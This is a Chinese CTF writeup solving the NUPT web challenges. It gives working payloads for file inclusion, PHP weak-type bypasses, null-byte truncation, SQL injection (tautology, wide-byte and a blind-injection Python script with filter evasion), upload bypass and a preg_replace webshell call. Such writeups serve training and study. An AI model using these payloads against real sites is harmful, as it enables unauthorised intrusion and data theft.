南邮CTF writeup

原创

Seri0us 于 2019-06-28 15:32:22 发布 399 收藏 2

南邮CTF writeup

文章目录

前要

写好的Writeup上传后图片全都没了。。。
以后有时间把图片补上

签到题

查看源代码即可获得flag

签到2

打开Firefox，F12修改一下maxlength即可获得flag

单身二十年和单身一百年都没用

都是利用burpsuite抓包查看response就可以获得flag

文件包含

直接放payload

```
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
```

利用base64解码可以获得源代码，flag就在那里面

md5 collision

本题考到了php的弱类型比较，当两个值使用==进行比较时，只是比较变量的值，而不会去比较变量的类型，md5('QNKCDZO')的hash值为 0e830400451993494058024219903391 ，对于 0e开头类型的数字，==会认为该值为0，所以只需满足`md5($a)`的值为0e开头即可满足条件，并且`$a != 'QNKCDZO'`

上网搜索一下0e开头的md5

随便放一个就可以了

```
http://chinalover.sinaapp.com/web19/?a=s214587387a
```

得到 flag

层层递进

查看源代码，点开S0.htm，直到出现404.html，点开

得到flag

php decode

把代码跑一下，结果一直报错，查了一下发现将eval改成echo就可以了…

cookie

看到cookie就觉得应该要抓包了

打开burpsuite抓包，发现cookie=0，因为题目中有0==not，所以猜测应该将cookie的值改成1，得到flag

/x00

打开题目

```
view-source:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
            die('Flag: '.$flag);
        else
            echo '骚年，继续努力吧啊~';
    }
```

关于@ereg()函数，int ereg(string pattern, string originalstring, [array regs]);，ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。所以，本题中@ereg `("^[1-9]+$", $_GET['nctf'])`即要求nctf变量必须是数字，google发现ereg函数存在%00截断漏洞，当遇到%00(NULL)时，函数就截止了。strpos(string,find,start),strpos()函数查找字符串在另一字符串中第一次出现的位置（区分大小写）。即strpos ($_GET['nctf'], '#biubiubiu')函数要求nctf变量中需要包含'#biubiubiu'字符串，才能返回flag

直接放payload

```
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu
//#要进行URL编码
```

变量覆盖

查看source.php，找到最有用的信息

很显然要使得pass的值和the password_123的值相等

这里涉及到extract函数的变量覆盖漏洞

`extract()`函数的作用：从数组中将变量导入到当前的符号表，可以看到这里的代码为：`extract($_POST)`，即将POST的参数导入当前的符号表，由于extract()函数存在变量覆盖漏洞，所以提交post参数：`pass=123&thepassword_123=123`,即可得到flag

AAencode

打开页面，发现一堆乱码.....

尝试用Unicode进行编码，得到

```
ﾟωﾟ/= / ｀m´) ﾉ ~┻━┻   //*´▽｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟД
ﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘ
ﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=
(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘ
ﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['
_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^
o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)]
;(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ)+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟ
Θﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o)
+(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟ
Дﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+
(o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)
+ ((ﾟｰﾟ) + (o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+
 (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_
^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+
 (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o
) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+
 (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟｰﾟ)+
(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((
o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
```

一堆颜文字……本题题目是aaencode，没有听过这个东西，于是上网去百度了一下…

发现一个aaencode解密的网站，解密得到flag

```
alert("nctf{javascript_aaencode}")
```

这题不是WEB

下载gif，然后将后缀名改成txt打开，在文本最后可以得到flag

MYSQL

打开页面

于是想着查看robots.txt

```
http://chinalover.sinaapp.com/web11/robots.txt
```

上边那堆乱码不去管它…

尝试id=1023

什么鬼。。。。。

尝试id=1025，也是这个样子

于是再去分析一下代码，发现有个不认识的intval函数，于是上网查了一下

Inteval()的返回值：成功时返回 var 的 integer（整数）值，失败时返回 0。 空的 array 返回 0，非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上，intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0，虽然取决于字符串最左侧的字符。

```
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
```

输入1024.1，得到flag（不知道为什么1024往下和1024往上都不行，上网查了一下发现输入刚刚输入的1023和1025显示的页面跟我不一样。。。）

bypass again

打开页面

怎么这么眼熟…这好像就是md5 collision的变形版…

利用做那道题的数据

`http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=s214587387a`

得到flag

SQL注入1

打开题目，查看网页源代码，打开index.php

就是要伪装admin登陆

当`user=admin&pass=admin`时，SQL语句如下：`select user from ctf where (user='admin') and (pw='admin')`

所以构造post data：

```
user=admin') or 1=('1&pass=admin
```

`select user from ctf where (user='admin') or 1=('1') and (pw='admin')`

永远为真，所以通过验证得到flag

pass check

网上说这个问题涉及到5.3之前版本php存在的漏洞…（可我怎么知道是5.3啊！！！！）

总之，这个漏洞是这样的，这个函数是用于比较字符串的函数，`int strcmp ( string $str1 , string $str2 )`，参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。可知，传入的期望类型是字符串类型的数据，但是如果我们传入非字符串类型的数据的时候，这个函数将会有怎么样的行为呢？实际上，当这个函数接受到了不符合的类型，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将return 0，也就是说虽然报了错，但却判定它相等

```
strcmp($pass,$pass1)
strcmp(array,string)=null=0
```

所以构造post data `pass[]=1`，获得flag

起名字真难

```
<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else
    echo 'access denied';
?>
```

通过代码可以刚发现，需要传入一个GET型的变量key，并对其进行判断，对key中的每一位进行比较，如果ASCII码大于1，并且小于9，就返回false，否则将$number与54975581388进行数值比较，如果相等返回true，不相等返回false；

直接输入54975581388显然是不可以的…

这里可以使用16进制解决这道题

```
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false
```

当其中的一个字符串是0x开头时（表示十六进制），PHP会将此字符串解析成为十进制然后再进行比较，这样在不让输入数字但是后面还要和一串数字进行比较下可以使用这种方法，将后面要比较的数字转为16进制，这样就可以实现绕过

54975581388的16进制是ccccccccc

直接提交key=0xccccccccc即可获得flag

密码重置

打开页面，发现你的帐号那里不能进行修改，看了一下url

```
http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
```

对%59%33%52%6D%64%58%4E%6C%63%67%3D%3D进行url解码，得到Y3RmdXNlcg==，发现是base64编码，进行解码，得到ctfuser

于是想着尝试将admin进行base64编码后进行url编码，得到YWRtaW4%3d，将url修改为

```
http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4%3d
```

没有任何事情发生...

于是想着在发送重置密码的请求时用burpsuite对账号进行修改，抓了一下包

改成这样

然后就可以得到flag了

上传绕过（*）

这关就当作是之前学的文件上传漏洞的例题吧...

打开页面，随便上传一个文件，这里上传的是`1.jpg`

于是将文件后缀改成`.php`再上传

尝试将php大小写也还是不行

尝试`1.php.jpg`

还是不行，被当作图片来处理

于是尝试用burpsuite抓包，将上传的jpg后缀名改成php

还是不行...

于是想尝试利用00截断，可是不懂怎么做，于是上网查了一下，发现改Hex就可以达到00截断的目的

将filename的值从`1.php.jpg`改成`1.php .jpg`，发送到Repeater

打开Hex，找到filename，将20（空格）改成00

点击Go，发现还是不行

于是尝试在uploads处进行研究

尝试了之前的一系列操作，比如将`/uploads/`改成`/uploads/1.jpg.php`，都以失败告终，但在尝试00截断的时候

得到了flag

sql injection 3

打开页面，尝试

```
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1'
```

想尝试能不能用单引号绕过，结果发现直接被转义了...???

上网查了一下，发现这涉及到宽字节注入的概念

> 过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。
> 在 mysql 中使用 GBK 编码的时候，会认为两个字符为一个汉字，一般有两种思路：
> （1）%df 吃掉 \ 具体的方法是 urlencode(') = %5c%27，我们在 %5c%27 前面添加 %df ，形成 %df%5c%27 ，而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字，%df%5c 就是一个汉字，%27 作为一个单独的（'）符号在外面
> （2）将 ' 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27 ，后面的 %5c 会被前面的 %5c 注释掉。

用sqlmap跑一下，发现出现了3个flag。。。。？？？

然后全都试了一下，发现全都不正确？？？

上网查了一下，发现别人payload的flag跟我一致，所以判断这道题应该有问题…

sql injection4

打开页面，查看源代码

首先调用了clean方法，在clean方法首先判断是否开启了添加反斜杠，然后使用stripslashes()删除反斜杠，然后调用htmlentities()方法（比如我们对字符串"

```
htmlentities($str, ENT_COMPAT); // 只转换双引号
htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
htmlentities($str, ENT_NOQUOTES); // 不转换任何引号
```

但最主要的应该是

```
'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'
```

首先分析一下所有的单引号，因为带反斜杠的单引号，被转义为字符了，无法参与闭合操作，所以这条SQL语句将会这样闭合

```
'SELECT * FROM users WHERE name=.$username.' AND pass=.$password.';'
```

可以想办法将单引号。但由于代码中使用了htmlentities对单引号进行了转换，所以我们不能通过单引号来闭合sql语句了。于是可以考虑用反斜杠来转义单引号，使它闭合成我们想要的样子。使用

```
username=admin\&password=or 1=1
```

此时代码会变成这样

```
'SELECT * FROM users WHERE name='admin AND pass='or 1=1';'
```

这是一个永真语句，这样就可以得到flag了

综合题

打开页面，看到一堆乱码

放到console中，得到1bc29b36f623ba82aaf6724fd3b16718.php

于是直接访问

```
teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php
```

猜测所谓的tip在header中

用http header live打开，看到tip那里

然后就不会做了…

上网查了一下，发现要这样访问。这是因为

> Bash shell在“/.bash_history”（“/”表示用户目录）文件中保存了500条使用过的命令，这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件

```
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
```

于是访问

```
teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
```

得到一个zip文件，解压得到flag

sql注入2

打开页面，点击source，得到一段php代码

可以得到以下结论，user和pass的值是post输入的，并且pass的值将会通过md5加密，`$query`中存储的是sql命令的结果集，只要结果集中有有你输入密码的MD5值就能得到flag了

于是post`user=' union select md5(1)#&pass=1`就能得到flag了

（奇怪的是user=admin' union select md5(1)是不能得到flag的，只要不是admin都可以…当时在这里卡了一下）

密码重置2

看到TIPS的第二点，立马联想到备份文件泄漏（万恶的备份文件泄漏），于是打开页面，修改url

```
http://nctf.nuptzj.cn/web14/.index.php.swp
```

结果404 NOT FOUND了，于是猜测备份文件泄漏的地方可能不是在这里，于是查看源代码，发现一个submit.php，于是瞎猜一下

意外得到一段源代码（这里只截取了其中一段，原因是tip中说了弱类型bypass）

看了一下前两段，猜测token=0000000000，但后面那一段就有点懵逼了，`mysql_query()`不是只返回True和False吗？

于是上网查了一下那几个函数

mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。

语法

`mysqli_fetch_assoc(*result*)*;` *

参数	描述
result	必需。要使用的数据指针。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符。

例如：

```
<?php
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_assoc($result));

mysql_close($con);
?>
```

输出：

```
Array
(
[LastName] => Adams
[FirstName] => John
[City] => London
)
```

所以这道题的token就应该是0000000000，email在源代码中可以获取，于是一登陆，得到flag

综合题2

打开页面，查看源代码，在页面的下方发现

点开

再看看url

```
view-source:http://cms.nuptzj.cn/about.php?file=sm.txt
```

于是尝试修改file的值打开各个文件，结果config.php打开是一片白…

index.php

```
?php
 //这里输出用户留言
 include 'antixss.php';
 include 'config.php';
 $con = mysql_connect($db_address,$db_user,$db_pass) or die(&amp;quot;不能连接到数据库！！&amp;quot;.mysql_error());
    mysql_select_db($db_name,$con);
 $page=$_GET['page'];
 if($page==&amp;quot;&amp;quot; || $page==0){
  $page='1';
  }
 $page=intval($page);
 $start=($page-1)*7;
 $last=$page*7;
 $result=mysql_query(&amp;quot;SELECT * FROM `message` WHERE display=1 ORDER BY id LIMIT $start,$last&amp;quot;);
 if(mysql_num_rows($result)&amp;gt;0){
 while($rs=mysql_fetch_array($result)){
 echo htmlspecialchars($rs['nice'],ENT_QUOTES).&amp;quot;:&amp;lt;br /&amp;gt;&amp;quot;;
 echo '&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'.antixss($rs['say']).'&amp;lt;br /&amp;gt;&amp;lt;hr /&amp;gt;';
 }
 }
 mysql_free_result($result);
 ?
```

```
?php
 $contents=mysql_query(&amp;quot;SELECT * FROM `message` WHERE display=1&amp;quot;);
 if(mysql_num_rows($contents)&amp;gt;0){
 $num=mysql_num_rows($contents);
 if($num%8!=0){
 $pagenum=intval($num/8)+1;
 }else{
 $pagenum=intval($num/8);
 }
 for($i=1;$i&amp;lt;=$pagenum;$i++){
 echo '&amp;lt;a href=&amp;quot;index.php?page='.htmlspecialchars($i).'&amp;quot;&amp;gt;'.htmlspecialchars($i).'&amp;lt;/a&amp;gt;&amp;amp;
nbsp;';
 }
 }
 mysql_free_result($contents);
 mysql_close($con);
 ?
```

passencode.php

```
?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass=&amp;quot;&amp;quot;;
for($i=0;$i&amp;lt;count($array);$i++){
if($pass!=&amp;quot;&amp;quot;){
$pass=$pass.&amp;quot; &amp;quot;.(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?
```

say.php

```
?php
include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])){
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice==&quot;&quot; || $say==&quot;&quot;){
echo &quot;&lt;script&gt;alert('昵称或留言内容不能为空！(如果有内容也弹出此框，不是网站问题喔~ 好吧，给个提示：查看页面源码
有惊喜！)');&lt;/script&gt;&quot;;
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die(&quot;不能连接到数据库！！&quot;.mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query(&quot;SELECT username FROM admin where username='$nice'&quot;,$con);
$login=mysql_query(&quot;SELECT * FROM admin where username='$username' AND userpass='$userpass'&quot;,$con);
if(mysql_num_rows($result)&gt;0 &amp;&amp; mysql_num_rows($login)&lt;=0){
echo &quot;&lt;script&gt;alert('昵称已被使用，请更换！');&lt;/script&gt;&quot;;
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con);
exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query(&quot;insert into message (nice,say,display) values('$nice','$say',0)&quot;,$con);
mysql_close($con);
echo '&lt;script&gt;alert(&quot;构建和谐社会，留言需要经过管理员审核才可以显示！&quot;);window.location = &quot;./inde
x.php&quot;&lt;/script&gt;';
?
```

看了一下，发现对得到flag并没有什么帮助…

还有一个about.php，尝试着打开，也得到了一段代码

```
?php
$file=$_GET['file'];
if($file==&quot;&quot; || strstr($file,'config.php')){
echo &quot;file参数不能为空！&quot;;
exit();
}else{
$cut=strchr($file,&quot;loginxlcteam&quot;);
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo &quot;&lt;script&gt;alert('敏感目录，禁止查看！但是。。。')&lt;/script&gt;&quot;;
}
}
```

看了一下原本网站的源代码，发现还有两个遗漏的:`so.php`， `preview.php`

preview.php（没什么用…）

```
?php
$prenice=$_POST['nice'];
$presay=$_POST['usersay'];
include 'antixss.php';
?
```

so.php

```
?php
if($_SERVER['HTTP_USER_AGENT']!=&quot;Xlcteam Browser&quot;){
echo '万恶滴黑阔，本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die(&quot;不能连接到数据库！！&quot;.mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query(&quot;SELECT * FROM `message` WHERE display=1 AND id=$id&quot;);
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'.antixss($rs['say']).'
&lt;br /&gt;';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?
```

发现这里面还有两个:antiinject.php和antixss.php

由于是非xss题，所以应该antixss.php并没有什么用

看一下antiinject.php

```
<?php
function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count",
"master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info);
}
return $info; } ?>
```

这应该是防止绕过的php，可是哪里可以给我们绕过呢…

于是就完全失去了思路……

上网搜了下攻略，发现loginxlcteam可以访问，访问

```
http://cms.nuptzj.cn/loginxlcteam/
```

![image-20190407004038386](/Users/zhengzeyang/Library/Application Support/typora-user-images/image-20190407004038386.png)

但这里没法登陆进去

于是应该是从`so.php`入手

回去看一下`antiinject.php`

先理解一下里面的几个函数

> **str_replace()**
> str_replace() 函数以其他字符替换字符串中的一些字符（区分大小写）。
> 该函数必须遵循下列规则：
>
> - 如果搜索的字符串是数组，那么它将返回数组。
> - 如果搜索的字符串是数组，那么它将对数组中的每个元素进行查找和替换。
> - 如果同时需要对数组进行查找和替换，并且需要执行替换的元素少于查找到的元素的数量，那么多余元素将用空字符串进行替换
> - 如果查找的是数组，而替换的是字符串，那么替代字符串将对所有查找到的值起作用
>
> 语法
>
> ```
> str_replace(find,replace,string,count)
> ```
>
> | 参数 | 描述 |
> | --- | --- |
> | *replace* | 必需。规定替换 *find* 中的值的值。 |
> | *string* | 必需。规定被搜索的字符串。 |
> | *count* | 可选。对替换数进行计数的变量。 |
> | find | 必需。规定要查找的值。 |
>
> 例如：把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”：
>
> ```
> <?php
> echo str_replace("world","Shanghai","Hello world!");
> ?>
> ```
>
> **strtolower()**
> strtolower() 函数把字符串转换为小写。

所以antiinject的过滤规则应该是查询数组中对应的字符并删去

然后又有点懵了，看了一下别人的writeup，发现可以用`selSELECTect`代替`select`(也可以用黑名单里最后一个关键字`=`分隔来绕过）、用`/**/`来代替空格等行为来进行绕过

sm.txt给出了数据表的结构

```
create table admin (
id integer,
username text,
userpass text,
)
```

看了一下别人的脚本（不会在脚本中改user-agent)，自己学着写了一下（因为里面有些函数不懂）

```
def get_db():
    url = "http://cms.nuptzj.cn/so.php"
    header = {
        'User-Agent': 'Xlcteam Browser',
        'Host': 'cms.nuptzj.cn',
    }
    payload1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    result= ""
    for i in range(1,40):
        for num in range(30,125):
            payload = '1/**/an=d/**/ascii(mid((selec=t/**/userpas=s/**/fro=m/**/admi=n)fro=m/**/{0}/**/fo=r/**/1
))>{1}'.format(i,num)
            data = {
              "soid": payload
}
            response = requests.post(url=url, headers=header, data=data)
            result_len = len(str(response.text))
            if (result_len == 425):
                result += chr(num)
                break
    print(result)

get_db()
```

这个脚本的结果长度设置上有些问题，但运行脚本的时间实在是有点久，就不修改了

得到的结果是乱码前面的一堆

因为密码是经过编码的（passencode.php），所以这些数字应该是ascii值，转换以后并删除中间的空格得到`fuckruntu`

成功登陆进去，打开

```
http://cms.nuptzj.cn/about.php?file=xlcteam.php
```

得到源码

```
?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?
```

上网查了一下array_walk是什么

array_walk
语法
`array_walk(*array,myfunction,parameter...*)`

参数	描述
array	必需。规定数组。
myfunction	必需。用户自定义函数的名称。
parameter,...	可选。规定用户自定义函数的参数，您可以为函数设置一个或多个参数。

例如

```
<?php
function myfunction($value,$key,$p)
{
echo "$key $p $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction","has the value");
?>
```

结果就是

```
a has the value red
b has the value green
c has the value blue
```

但参数要怎么上传？？？？回去看了一下，说了“一句话木马”，上网查了一下，发现是webshell的意思。

但还是没有思路啊...

看了一下writeup，说什么构造`post data=preg_replace&wtf=print_r(scandir('.'));`就行了

print_r()
print_r()函数用于打印变量，以更容易理解的形式展示。
PHP 版本要求: PHP 4, PHP 5, PHP 7
语法

```
bool print_r ( mixed $expression [, bool $return ] )
```

参数说明：

- $expression: 要打印的变量，如果给出的是 string、integer 或 float 类型变量，将打印变量值本身。如果给出的是 array，将会按照一定格式显示键和元素。object 与数组类似。
- $return: 可选，如果为 true 则不输出结果，而是将结果赋值给一个变量，false 则直接输出结果。

返回值
$return 如果设为 **true** 才有返回值，为一个易于理解的字符串信息。
例如：

```
<?php
$a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x','y','z'));
print_r ($a);
?>
```

输出

```
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
        )

)
```

scandir()
定义和用法
scandir() 函数返回指定目录中的文件和目录的数组。
语法

```
scandir(directory,sorting_order,context);
```

参数	描述
directory	必需。规定要扫描的目录。
sorting_order	可选。规定排列顺序。默认是 0，表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1，则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE，则返回未排列的结果。
context	可选。规定目录句柄的环境。*context* 是可修改目录流的行为的一套选项。

所以后面那个是显示目录下的所有文件

